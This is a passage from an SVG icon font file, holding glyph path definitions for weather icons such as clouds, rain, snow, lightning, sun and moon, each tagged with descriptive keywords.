			C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70s-31.335-70-70-70c-14.984,0-28.801,4.813-40.196,12.834
			c-9.078-10.956-20.398-19.834-32.922-26.761L 265.125,110.781c 18.266,5.742, 35.438,14.821, 50.13,27.635
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 168,76l 28-28l-28-84l 84,84l-28,28l 28,84
			L 168,76z" data-tags="lightning, weather, cloud" />
<glyph unicode="&#xe282;" d="M 350,300c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,334.635, 268.789,356, 224,356s-86.023-21.365-112.182-56.984C 107.242,299.672, 102.648,300, 98,300C 43.969,300,0,256.031,0,202
			c0-54.031, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,88.323, 190.313,76, 224,76
			c 33.724,0, 65.916,12.323, 91.255,34.416C 326.301,106.187, 338.023,104, 350,104c 54.031,0, 98,43.969, 98,98
			C 448,256.031, 404.031,300, 350,300z M 350,132c-14.984,0-28.801,4.813-40.196,12.834C 289.261,120.078, 258.671,104, 224,104
			c-34.672,0-65.261,16.078-85.804,40.834C 126.821,136.812, 112.984,132, 98,132c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
			c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,302.916, 180.505,328, 224,328s 80.792-25.084, 99.348-61.323
			C 331.571,270.068, 340.558,272, 350,272c 38.665,0, 70-31.335, 70-70S 388.664,132, 350,132z M 196-8c0-15.477, 12.523-28, 28-28
			s 28,12.523, 28,28s-28,56-28,56S 196,7.477, 196-8z" data-tags="rainy, weather, cloud" />
<glyph unicode="&#xe283;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 350,160c-14.984,0-28.801,4.813-40.196,12.834
			C 289.261,148.078, 258.671,132, 224,132c-34.672,0-65.261,16.078-85.804,40.834C 126.821,164.812, 112.984,160, 98,160
			c-38.665,0-70,31.335-70,70s 31.335,70, 70,70c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356
			s 80.792-25.084, 99.348-61.323C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70S 388.664,160, 350,160z M 196.875-36
			c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 196.875-20.523, 196.875-36z M 308-8c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28
			s-28,56-28,56S 308,7.477, 308-8z M 84,48c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 84,63.477, 84,48z" data-tags="rainy, weather, cloud" />
<glyph unicode="&#xe284;" d="M 364.912,238.677c-20.982,21.474-49.984,33.925-80.264,33.925
			c-30.242,0-59.227-12.45-80.207-33.925c-46.211-2.152-83.143-40.415-83.143-87.136c0-48.088, 39.12-87.208, 87.227-87.208
			c 5.105,0, 10.153,0.438, 15.112,1.312c 18.138-11.848, 39.302-18.247, 61.013-18.247c 21.747,0, 42.93,6.399, 61.051,18.247
			c 4.994-0.874, 10.026-1.312, 15.13-1.312c 48.070,0, 87.172,39.12, 87.172,87.208C 448,198.263, 411.086,236.526, 364.912,238.677z
			 M 360.828,92.334c-7.273,0-14.328,1.312-21,3.865c-15.313-13.344-34.781-20.8-55.18-20.8c-20.343,0-39.812,7.457-55.124,20.8
			c-6.672-2.553-13.781-3.865-21-3.865c-32.648,0-59.227,26.578-59.227,59.208c0,32.649, 26.578,59.227, 59.227,59.227
			c 2.79,0, 5.578-0.2, 8.331-0.602c 15.841,21.51, 40.723,34.435, 67.793,34.435c 27.071,0, 52.008-12.925, 67.813-34.435
			c 2.734,0.401, 5.523,0.602, 8.367,0.602c 32.648,0, 59.172-26.578, 59.172-59.227C 420,118.912, 393.477,92.334, 360.828,92.334z
			 M 126,76L 14,76 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 112,0 c 7.729,0, 14,6.271, 14,14S 133.729,76, 126,76z M 14,104l 56,0 
			c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 14,132 c-7.729,0-14-6.271-14-14S 6.271,104, 14,104z M 42,160l 56,0 c 7.729,0, 14,6.271, 14,14
			s-6.271,14-14,14L 42,188 c-7.729,0-14-6.271-14-14S 34.271,160, 42,160z" data-tags="windy, weather, cloud" />
<glyph unicode="&#xe285;" d="M 364.912,322.057C 343.929,343.55, 314.927,356, 284.648,356
			c-30.242,0-59.227-12.45-80.207-33.943c-46.211-2.133-83.143-40.396-83.143-87.099c0-48.106, 39.12-87.245, 87.227-87.245
			c 5.105,0, 10.153,0.438, 15.112,1.313c 18.138-11.831, 39.302-18.229, 61.013-18.229c 21.747,0, 42.93,6.398, 61.051,18.229
			c 4.994-0.874, 10.026-1.313, 15.13-1.313c 48.071,0, 87.172,39.139, 87.172,87.245C 448,281.662, 411.086,319.943, 364.912,322.057z
			 M 360.828,175.713c-7.273,0-14.328,1.313-21,3.901c-15.313-13.344-34.781-20.818-55.18-20.818c-20.343,0-39.812,7.474-55.124,20.818
			c-6.672-2.589-13.781-3.901-21-3.901c-32.648,0-59.227,26.578-59.227,59.245c0,32.63, 26.578,59.209, 59.227,59.209
			c 2.79,0, 5.578-0.219, 8.331-0.602C 232.696,315.075, 257.578,328, 284.648,328c 27.071,0, 52.008-12.925, 67.813-34.435
			c 2.734,0.383, 5.523,0.602, 8.367,0.602c 32.648,0, 59.172-26.578, 59.172-59.209C 420,202.291, 393.477,175.713, 360.828,175.713z
			 M 126,159.398L 14,159.398 c-7.729,0-14-6.253-14-14c0-7.746, 6.271-14, 14-14l 112,0 c 7.729,0, 14,6.254, 14,14
			C 140,153.145, 133.729,159.398, 126,159.398z M 14,187.398l 56,0 c 7.729,0, 14,6.253, 14,14c0,7.747-6.271,14-14,14L 14,215.398 
			c-7.729,0-14-6.253-14-14C0,193.651, 6.271,187.398, 14,187.398z M 42,243.398l 56,0 c 7.729,0, 14,6.253, 14,14c0,7.747-6.271,14-14,14L 42,271.398 
			c-7.729,0-14-6.253-14-14C 28,249.651, 34.271,243.398, 42,243.398z M 196,48c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56
			S 196,63.477, 196,48z M 308-8c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 308,7.477, 308-8z" data-tags="windy, rainy, weather, cloud" />
<glyph unicode="&#xe286;" d="M 285.287-4.227l-15.75,9.079
			c 0.474,2.734, 0.838,5.522, 0.838,8.421c0,2.898-0.364,5.688-0.875,8.422l 15.787,9.097c 7.365,4.302, 9.88,13.763, 5.651,21.091
			c-4.267,7.419-13.709,9.953-21.109,5.688l-15.914-9.188c-4.267,3.628-9.078,6.471-14.438,8.403l0,18.284 
			c0,8.55-6.946,15.477-15.477,15.477s-15.458-6.927-15.458-15.477l0-18.266 c-5.36-1.915-10.19-4.794-14.456-8.422l-15.878,9.188
			c-7.419,4.266-16.881,1.75-21.146-5.669c-4.266-7.365-1.696-16.844, 5.688-21.11l 15.714-9.078c-0.511-2.753-0.839-5.542-0.839-8.44
			c0-2.899, 0.328-5.688, 0.839-8.421L 162.75-4.227c-7.402-4.266-9.953-13.781-5.688-21.165s 13.727-9.898, 21.109-5.633l 15.896,9.133
			c 4.265-3.609, 9.097-6.453, 14.474-8.367l0-18.321 c0-8.53, 6.927-15.421, 15.458-15.421s 15.477,6.891, 15.477,15.421l0,18.321 
			c 5.359,1.915, 10.227,4.758, 14.456,8.422l 15.896-9.188c 7.401-4.266, 16.843-1.75, 21.109,5.633
			C 295.203-18.008, 292.688-8.547, 285.287-4.227z M 224-2.203c-8.531,0-15.477,6.946-15.477,15.477s 6.946,15.44, 15.477,15.44
			s 15.459-6.909, 15.459-15.44S 232.531-2.203, 224-2.203z M 350,328c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 350,160c-14.984,0-28.801,4.813-40.196,12.834
			C 289.261,148.078, 258.671,132, 224,132c-34.672,0-65.261,16.078-85.804,40.834C 126.821,164.812, 112.984,160, 98,160
			c-38.665,0-70,31.335-70,70s 31.335,70, 70,70c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356
			s 80.792-25.084, 99.348-61.323C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70S 388.664,160, 350,160z" data-tags="snowy, weather, cloud" />
<glyph unicode="&#xe287;" d="M 285.287,79.773l-15.75,9.078c 0.474,2.734, 0.838,5.523, 0.838,8.422c0,2.898-0.364,5.688-0.875,8.422
			l 15.787,9.097c 7.365,4.302, 9.88,13.763, 5.651,21.091c-4.267,7.419-13.709,9.953-21.109,5.688l-15.914-9.188
			c-4.267,3.628-9.078,6.471-14.438,8.403l0,18.284 c0,8.55-6.946,15.477-15.477,15.477s-15.458-6.927-15.458-15.477l0-18.266 
			c-5.36-1.915-10.19-4.794-14.456-8.422l-15.878,9.188c-7.419,4.266-16.881,1.75-21.146-5.669c-4.266-7.365-1.696-16.844, 5.688-21.11
			l 15.714-9.078c-0.511-2.753-0.839-5.542-0.839-8.44s 0.328-5.688, 0.839-8.42L 162.75,79.773c-7.402-4.266-9.953-13.781-5.688-21.165
			s 13.727-9.898, 21.109-5.633l 15.896,9.133c 4.265-3.609, 9.097-6.453, 14.474-8.367l0-18.321 c0-8.53, 6.927-15.421, 15.458-15.421
			s 15.477,6.891, 15.477,15.421l0,18.321 c 5.359,1.915, 10.227,4.758, 14.456,8.422l 15.896-9.188c 7.401-4.266, 16.843-1.75, 21.109,5.633
			C 295.203,65.992, 292.688,75.453, 285.287,79.773z M 224,81.797c-8.531,0-15.477,6.946-15.477,15.477s 6.946,15.44, 15.477,15.44
			s 15.459-6.909, 15.459-15.44S 232.531,81.797, 224,81.797z M 350,328c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384c-44.79,0-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328
			C 43.969,328,0,284.031,0,230s 43.969-98, 98-98c 10.335,0, 20.417,1.932, 30.133,5.105c 0.929,4.447, 2.388,8.786, 4.703,12.814
			c 3.446,5.997, 8.367,10.773, 14,14.439c-2.898,2.825-6.071,5.341-8.641,8.477C 126.821,164.812, 112.984,160, 98,160
			c-38.665,0-70,31.335-70,70c0,38.665, 31.335,70, 70,70c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356
			s 80.792-25.084, 99.348-61.323C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70c0-38.665-31.335-70-70-70
			c-14.984,0-28.801,4.813-40.196,12.834c-2.571-3.135-5.779-5.652-8.659-8.477c 5.652-3.681, 10.609-8.477, 14.037-14.492
			c 2.37-4.065, 3.81-8.386, 4.739-12.76C 329.602,133.932, 339.664,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z" data-tags="snowy, weather, cloud" />
<glyph unicode="&#xe288;" d="M 285.287-4.227l-15.75,9.079
			c 0.474,2.734, 0.838,5.522, 0.838,8.421c0,2.898-0.364,5.688-0.875,8.422l 15.787,9.097c 7.365,4.302, 9.88,13.763, 5.651,21.091
			c-4.267,7.419-13.709,9.953-21.109,5.688l-15.914-9.188c-4.267,3.628-9.078,6.471-14.438,8.403l0,18.284 
			c0,8.55-6.946,15.477-15.477,15.477s-15.458-6.927-15.458-15.477l0-18.266 c-5.36-1.915-10.19-4.794-14.456-8.422l-15.878,9.188
			c-7.419,4.266-16.881,1.75-21.146-5.669c-4.266-7.365-1.696-16.844, 5.688-21.11l 15.714-9.078c-0.511-2.753-0.839-5.542-0.839-8.44
			c0-2.899, 0.328-5.688, 0.839-8.421L 162.75-4.227c-7.402-4.266-9.953-13.781-5.688-21.165s 13.727-9.898, 21.109-5.633l 15.896,9.133
			c 4.265-3.609, 9.097-6.453, 14.474-8.367l0-18.321 c0-8.53, 6.927-15.421, 15.458-15.421s 15.477,6.891, 15.477,15.421l0,18.321 
			c 5.359,1.915, 10.227,4.758, 14.456,8.422l 15.896-9.188c 7.401-4.266, 16.843-1.75, 21.109,5.633
			C 295.203-18.008, 292.688-8.547, 285.287-4.227z M 224-2.203c-8.531,0-15.477,6.946-15.477,15.477s 6.946,15.44, 15.477,15.44
			s 15.459-6.909, 15.459-15.44S 232.531-2.203, 224-2.203z M 414.895,37.281l-10.573,2.807c-0.255,3.354-1.057,6.544-2.534,9.607
			l 7.675,7.675c 3.609,3.609, 3.591,9.443,0,12.997c-3.573,3.591-9.37,3.609-12.979,0l-7.692-7.656
			c-3.027,1.422-6.253,2.242-9.589,2.516l-2.808,10.554c-1.312,4.885-6.344,7.821-11.265,6.508
			c-4.904-1.331-7.766-6.362-6.49-11.266l 2.808-10.409c-1.386-0.949-2.699-2.005-3.938-3.209c-1.203-1.24-2.224-2.551-3.173-3.902
			l-10.409,2.808c-4.904,1.312-9.972-1.641-11.284-6.508c-1.312-4.922, 1.641-9.935, 6.49-11.266l 10.5-2.825
			c 0.292-3.3, 1.131-6.526, 2.607-9.589l-7.71-7.71c-3.573-3.591-3.554-9.388, 0.037-12.96
			c 3.573-3.573, 9.37-3.609, 12.943-0.037l 7.728,7.729c 3.027-1.494, 6.272-2.333, 9.626-2.587l 2.77-10.518
			c 1.349-4.904, 6.344-7.821, 11.266-6.508c 4.885,1.313, 7.837,6.343, 6.526,11.302l-2.808,10.409c 1.313,0.929, 2.662,1.969, 3.902,3.172
			c 1.203,1.221, 2.224,2.571, 3.171,3.919l 10.427-2.808c 4.904-1.313, 9.953,1.622, 11.247,6.49
			C 422.679,30.902, 419.781,35.932, 414.895,37.281z M 383.523,31.429c-3.609-3.609-9.425-3.591-13.016,0
			c-3.554,3.554-3.591,9.388,0,12.997c 3.591,3.573, 9.425,3.573, 13.016,0C 387.078,40.836, 387.078,34.984, 383.523,31.429z
			 M 104.071,84.312l-10.391-2.79c-0.966,1.313-1.969,2.643-3.19,3.883c-1.239,1.203-2.551,2.242-3.919,3.172l 2.79,10.446
			c 1.313,4.904-1.605,9.953-6.453,11.247c-4.922,1.313-9.953-1.605-11.266-6.49l-2.844-10.554c-3.335-0.273-6.526-1.094-9.571-2.534
			l-7.71,7.675c-3.609,3.609-9.406,3.591-12.98,0c-3.591-3.591-3.591-9.406,0-12.997l 7.675-7.675
			c-1.44-3.063-2.279-6.289-2.534-9.607l-10.537-2.807c-4.922-1.349-7.839-6.344-6.526-11.266c 1.331-4.885, 6.362-7.766, 11.284-6.49
			l 10.391,2.826c 0.929-1.404, 1.969-2.717, 3.227-3.938c 1.203-1.203, 2.516-2.279, 3.883-3.172l-2.79-10.409
			c-1.313-4.922, 1.605-9.99, 6.489-11.302c 4.923-1.313, 9.917,1.604, 11.23,6.508l 2.844,10.5c 3.335,0.273, 6.563,1.112, 9.625,2.571l 7.692-7.693
			c 3.573-3.608, 9.37-3.536, 12.98,0.037c 3.554,3.554, 3.609,9.37,0,12.96l-7.71,7.71c 1.477,3.027, 2.352,6.289, 2.571,9.626
			l 10.554,2.79c 4.867,1.331, 7.784,6.344, 6.471,11.266C 114.042,82.671, 109.011,85.588, 104.071,84.312z M 77.492,59.412
			c-3.591-3.591-9.406-3.591-13.016,0c-3.554,3.573-3.554,9.425,0,12.979c 3.609,3.573, 9.425,3.573, 13.016,0
			S 81.047,62.984, 77.492,59.412z M 448,230c0,54.031-43.969,98-98,98c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132C 404.031,132, 448,175.969, 448,230z M 309.804,172.834C 289.261,148.078, 258.671,132, 224,132
			c-34.672,0-65.261,16.078-85.804,40.834C 126.821,164.812, 112.984,160, 98,160c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
			c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356s 80.792-25.084, 99.348-61.323
			C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70s-31.335-70-70-70C 335.016,160, 321.199,164.812, 309.804,172.834z" data-tags="snowy, weather, cloud" />
<glyph unicode="&#xe289;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984C 310.042,362.635, 268.789,384, 224,384
			s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230s 43.969-98, 98-98
			c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 350,160c-8.495,0-16.808,1.531-24.719,4.557
			l-15.75,6.052l-12.688-11.084C 276.5,141.771, 250.633,132, 224,132s-52.5,9.771-72.844,27.526l-12.688,11.084l-15.75-6.052
			c-7.875-3.026-16.223-4.557-24.719-4.557c-38.609,0-70,31.409-70,70s 31.391,70, 70,70c 3.318,0, 6.563-0.237, 9.844-0.693l 16.588-2.406
			l 9.935,13.526C 155.641,339.393, 188.308,356, 224,356c 35.71,0, 68.359-16.588, 89.615-45.555l 9.953-13.544l 16.624,2.406
			C 343.438,299.763, 346.682,300, 350,300c 38.609,0, 70-31.409, 70-70S 388.609,160, 350,160z M 84,104c-15.477,0-28-12.523-28-28
			s 12.523-28, 28-28s 28,12.523, 28,28S 99.477,104, 84,104z M 224,76c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28
			S 239.477,76, 224,76z M 364,104c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28S 379.477,104, 364,104z M 308-8
			c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28S 323.477-8, 308-8z M 140-8c-15.477,0-28-12.523-28-28
			s 12.523-28, 28-28s 28,12.523, 28,28S 155.477-8, 140-8z" data-tags="weather, cloud" />
<glyph unicode="&#xe28a;" d="M 448,173.999c0,43.021-35,78.003-78.021,78.003c-2.096,0-4.175-0.091-6.253-0.255
	c-20.234,25.247-50.732,40.231-83.727,40.231c-32.977,0-63.492-14.983-83.727-40.232c-2.078,0.165-4.175,0.255-6.289,0.255
	C 147,252.002, 112,217.020, 112,173.999c0-4.503, 0.602-8.841, 1.313-13.162c-0.474-0.619-1.039-1.185-1.494-1.823
	c-4.575,0.656-9.169,0.984-13.818,0.984C 43.969,159.999,0,116.031,0,62c0-54.032, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416
	C 158.083-51.677, 190.313-64, 224-64c 33.724,0, 65.916,12.323, 91.255,34.416C 326.301-33.813, 338.023-36, 350-36
	c 54.031,0, 98,43.968, 98,98c0,22.477-7.912,42.948-20.708,59.499C 440.051,135.408, 448,153.728, 448,173.999z M 350-8
	c-14.984,0-28.801,4.812-40.196,12.833C 289.26-19.922, 258.671-36, 224-36c-34.672,0-65.261,16.078-85.804,40.833
	C 126.821-3.188, 112.985-8, 98-8c-38.665,0-70,31.335-70,70s 31.335,69.999, 70,69.999c 9.46,0, 18.429-1.915, 26.633-5.304
	c 0.492,0.929, 1.094,1.75, 1.586,2.643c 4.922,8.987, 10.992,17.227, 18.083,24.537C 164.5,174.802, 192.573,188, 224,188
	c 43.495,0, 80.792-25.083, 99.348-61.304c 4.94,2.023, 10.209,3.336, 15.641,4.211L 350,132c 10.792,0, 20.891-2.662, 30.023-7
	c 9.898-4.739, 18.393-11.702, 25.065-20.29c 9.188-11.831, 14.912-26.56, 14.912-42.71C 420,23.336, 388.664-8, 350-8z
	 M 407.367,141.078c-16.169,11.776-35.875,18.921-57.367,18.921c-4.648,0-9.242-0.328-13.818-0.984
	c-26.14,35.62-67.393,56.984-112.182,56.984c-29.859,0-58.023-9.662-81.321-26.542c 6.544,19.997, 25.138,34.544, 47.304,34.544
	c 6.781,0, 13.179-1.367, 19.031-3.79c 13.29,25.867, 39.922,43.768, 70.984,43.768s 57.713-17.9, 70.948-43.768
	c 5.888,2.424, 12.323,3.79, 19.030,3.79c 27.636,0, 50.021-22.385, 50.021-50.003C 420,161.33, 415.133,149.901, 407.367,141.078z" data-tags="cloudy, weather, clouds" />
<glyph unicode="&#xe28b;" d="M 448,266.021c0,43.003-35,77.983-78.021,77.983c-2.096,0-4.175-0.073-6.253-0.236
	C 343.492,368.997, 312.995,384, 280,384c-32.977,0-63.492-15.003-83.727-40.232c-2.078,0.164-4.175,0.236-6.289,0.236
	C 147,344.005, 112,309.023, 112,266.021c0-4.503, 0.602-8.859, 1.313-13.162c-0.474-0.619-1.039-1.185-1.494-1.823
	c-4.575,0.656-9.169,0.984-13.818,0.984c-54.031,0-98-43.969-98-98c0-54.032, 43.969-98, 98-98c 11.977,0, 23.698,2.187, 34.745,6.416
	c 16.060-14, 35.091-23.571, 55.306-29.057L 168,20l 28-28l-28-56l 84,56l-28,28l 4.211,8.385c 32.156,0.984, 62.781,12.888, 87.044,34.052
	c 11.047-4.23, 22.768-6.416, 34.745-6.416c 54.031,0, 98,43.968, 98,98c0,22.458-7.912,42.948-20.708,59.5
	C 440.051,227.412, 448,245.732, 448,266.021z M 350,84.021c-14.984,0-28.801,4.813-40.196,12.815c-16.625-20.034-40.031-33.888-66.7-38.609
	l-20.8-2.023C 188.344,56.75, 158.375,72.5, 138.196,96.836c-11.375-8.003-25.21-12.815-40.196-12.815c-38.665,0-70,31.317-70,70
	c0,38.646, 31.335,70, 70,70c 9.46,0, 18.429-1.933, 26.633-5.323c 0.492,0.948, 1.094,1.75, 1.586,2.662
	c 4.922,8.987, 10.992,17.209, 18.083,24.537c 20.198,20.909, 48.271,34.125, 79.698,34.125c 43.495,0, 80.792-25.084, 99.348-61.323
	c 4.94,2.041, 10.209,3.354, 15.641,4.229l 11.011,1.094c 10.792,0, 20.891-2.662, 30.023-7c 9.898-4.74, 18.393-11.703, 25.065-20.307
	c 9.188-11.831, 14.912-26.542, 14.912-42.693C 420,115.338, 388.664,84.021, 350,84.021z M 407.367,233.099
	c-16.169,11.758-35.875,18.922-57.367,18.922c-4.648,0-9.242-0.328-13.818-0.984C 310.042,286.638, 268.789,308.021, 224,308.021
	c-29.859,0-58.023-9.679-81.321-26.56c 6.544,19.996, 25.138,34.543, 47.304,34.543c 6.781,0, 13.179-1.367, 19.031-3.791
	C 222.304,338.099, 248.938,356, 280,356s 57.713-17.901, 70.948-43.787c 5.888,2.425, 12.323,3.791, 19.030,3.791
	c 27.636,0, 50.021-22.385, 50.021-49.983C 420,253.334, 415.133,241.904, 407.367,233.099z" data-tags="cloud, lightning, weather" />
<glyph unicode="&#xe28c;" d="M 168,48l 28-28l-28-84l 84,84l-28,28l 28,56L 168,48z M 448,266.021c0,43.003-35,77.983-78.021,77.983
			c-2.096,0-4.175-0.073-6.253-0.236C 343.492,368.997, 312.995,384, 280,384c-32.977,0-63.492-15.003-83.727-40.232
			c-2.078,0.164-4.175,0.236-6.289,0.236C 147,344.005, 112,309.023, 112,266.021c0-4.503, 0.602-8.859, 1.313-13.162
			c-0.474-0.619-1.039-1.185-1.494-1.823c-4.575,0.656-9.169,0.984-13.818,0.984c-54.031,0-98-43.969-98-98
			c0-54.032, 43.969-98, 98-98c 11.977,0, 23.698,2.187, 34.745,6.416c 0.966-0.839, 2.114-1.422, 3.098-2.242l 24.773,16.516
			c-8.258,5.852-15.969,12.359-22.422,20.125c-11.375-8.003-25.21-12.815-40.196-12.815c-38.665,0-70,31.317-70,70c0,38.646, 31.335,70, 70,70
			c 9.46,0, 18.429-1.933, 26.633-5.323c 0.492,0.948, 1.094,1.75, 1.586,2.662c 4.922,8.987, 10.992,17.209, 18.083,24.537
			c 20.198,20.909, 48.271,34.125, 79.698,34.125c 43.495,0, 80.792-25.084, 99.348-61.323c 4.94,2.041, 10.209,3.354, 15.641,4.229l 11.011,1.094
			c 10.792,0, 20.891-2.662, 30.023-7c 9.898-4.74, 18.393-11.703, 25.065-20.307c 9.188-11.831, 14.912-26.542, 14.912-42.693
			c0-38.683-31.335-70-70-70c-14.984,0-28.801,4.813-40.196,12.815c-12.25-14.766-28.383-25.867-46.503-32.867l-5.232-10.446l 15.969-15.969
			c 14.929,5.815, 28.893,14.164, 41.216,24.883c 11.047-4.23, 22.768-6.416, 34.745-6.416c 54.031,0, 98,43.968, 98,98
			c0,22.458-7.912,42.948-20.708,59.5C 440.051,227.412, 448,245.732, 448,266.021z M 407.367,233.099
			c-16.169,11.758-35.875,18.922-57.367,18.922c-4.648,0-9.242-0.328-13.818-0.984C 310.042,286.638, 268.789,308.021, 224,308.021
			c-29.859,0-58.023-9.679-81.321-26.56c 6.544,19.996, 25.138,34.543, 47.304,34.543c 6.781,0, 13.179-1.367, 19.031-3.791
			C 222.304,338.099, 248.938,356, 280,356s 57.713-17.901, 70.948-43.787c 5.888,2.425, 12.323,3.791, 19.030,3.791
			c 27.636,0, 50.021-22.385, 50.021-49.983C 420,253.334, 415.133,241.904, 407.367,233.099z" data-tags="lightning, clouds, weather" />
<glyph unicode="&#xe28d;" d="M 224,258c-54.031,0-98-43.969-98-98c0-54.030, 43.969-98, 98-98
			s 98,43.97, 98,98C 322,214.031, 278.031,258, 224,258z M 224,286c 7.729,0, 14,6.253, 14,14L 238,328 c0,7.729-6.271,14-14,14
			c-7.747,0-14-6.271-14-14l0-28 C 210,292.253, 216.253,286, 224,286z M 224,34c-7.747,0-14-6.271-14-14l0-28 c0-7.747, 6.253-14, 14-14
			c 7.729,0, 14,6.253, 14,14l0,28 C 238,27.729, 231.729,34, 224,34z M 332.865,249.104l 19.797,19.797c 5.469,5.469, 5.469,14.328,0,19.797
			c-5.47,5.469-14.328,5.469-19.797,0l-19.797-19.797c-5.47-5.469-5.47-14.328,0-19.797
			C 318.537,243.636, 327.395,243.636, 332.865,249.104z M 115.098,70.878l-19.795-19.797c-5.47-5.469-5.47-14.329,0-19.797
			c 5.468-5.469, 14.326-5.469, 19.795,0l 19.797,19.797c 5.47,5.505, 5.47,14.328,0,19.797
			C 129.427,76.346, 120.568,76.383, 115.098,70.878z M 98,160c0,7.729-6.271,14-14,14L 56,174 c-7.747,0-14-6.271-14-14
			c0-7.747, 6.253-14, 14-14l 28,0 C 91.729,146, 98,152.253, 98,160z M 392,174l-28,0 c-7.747,0-14-6.271-14-14c0-7.747, 6.253-14, 14-14l 28,0 
			c 7.729,0, 14,6.253, 14,14C 406,167.729, 399.729,174, 392,174z M 115.081,249.104c 5.468-5.469, 14.328-5.469, 19.797,0
			c 5.468,5.469, 5.468,14.328,0,19.797l-19.797,19.797c-5.469,5.469-14.329,5.469-19.797,0c-5.469-5.469-5.469-14.328,0-19.797
			L 115.081,249.104z M 332.902,70.914c-5.506,5.469-14.329,5.469-19.797,0c-5.469-5.468-5.506-14.328,0-19.797l 19.797-19.797
			c 5.468-5.468, 14.327-5.468, 19.797,0c 5.468,5.469, 5.468,14.329,0,19.797L 332.902,70.914z" data-tags="sun, weather" />
<glyph unicode="&#xe28e;" d="M 217.072,153.059c-27.58,27.599-34.982,67.467-22.767,101.974
	c-13.344-4.721-25.959-12.104-36.622-22.767c-38.282-38.281-38.282-100.334,0-138.596c 38.263-38.264, 100.297-38.283, 138.577,0
	c 10.7,10.663, 18.065,23.279, 22.768,36.622C 284.539,118.079, 244.653,125.48, 217.072,153.059z" data-tags="moon, night, weather" />
<glyph unicode="&#xe28f;" d="M 182,328c 7.729,0, 14,6.271, 14,14L 196,370 c0,7.729-6.271,14-14,14s-14-6.271-14-14l0-28 
			C 168,334.271, 174.271,328, 182,328z M 290.883,291.104l 19.797,19.797c 5.468,5.469, 5.468,14.328,0,19.797
			c-5.469,5.469-14.328,5.469-19.797,0l-19.797-19.797c-5.469-5.469-5.469-14.328,0-19.797
			C 276.554,285.635, 285.414,285.635, 290.883,291.104z M 14,188l 28,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 14,216 
			c-7.729,0-14-6.271-14-14S 6.271,188, 14,188z M 308,202c0-7.729, 6.271-14, 14-14l 28,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14l-28,0 
			C 314.271,216, 308,209.729, 308,202z M 73.098,291.104c 5.47-5.469, 14.329-5.469, 19.797,0c 5.47,5.469, 5.47,14.328,0,19.797
			L 73.098,330.698c-5.469,5.469-14.327,5.469-19.797,0c-5.469-5.469-5.469-14.328,0-19.797L 73.098,291.104z M 350,160
			c-4.648,0-9.242-0.328-13.818-0.984c-14.675,20.016-34.233,35.291-56.401,45.063C 278.652,257.125, 235.321,300, 182,300
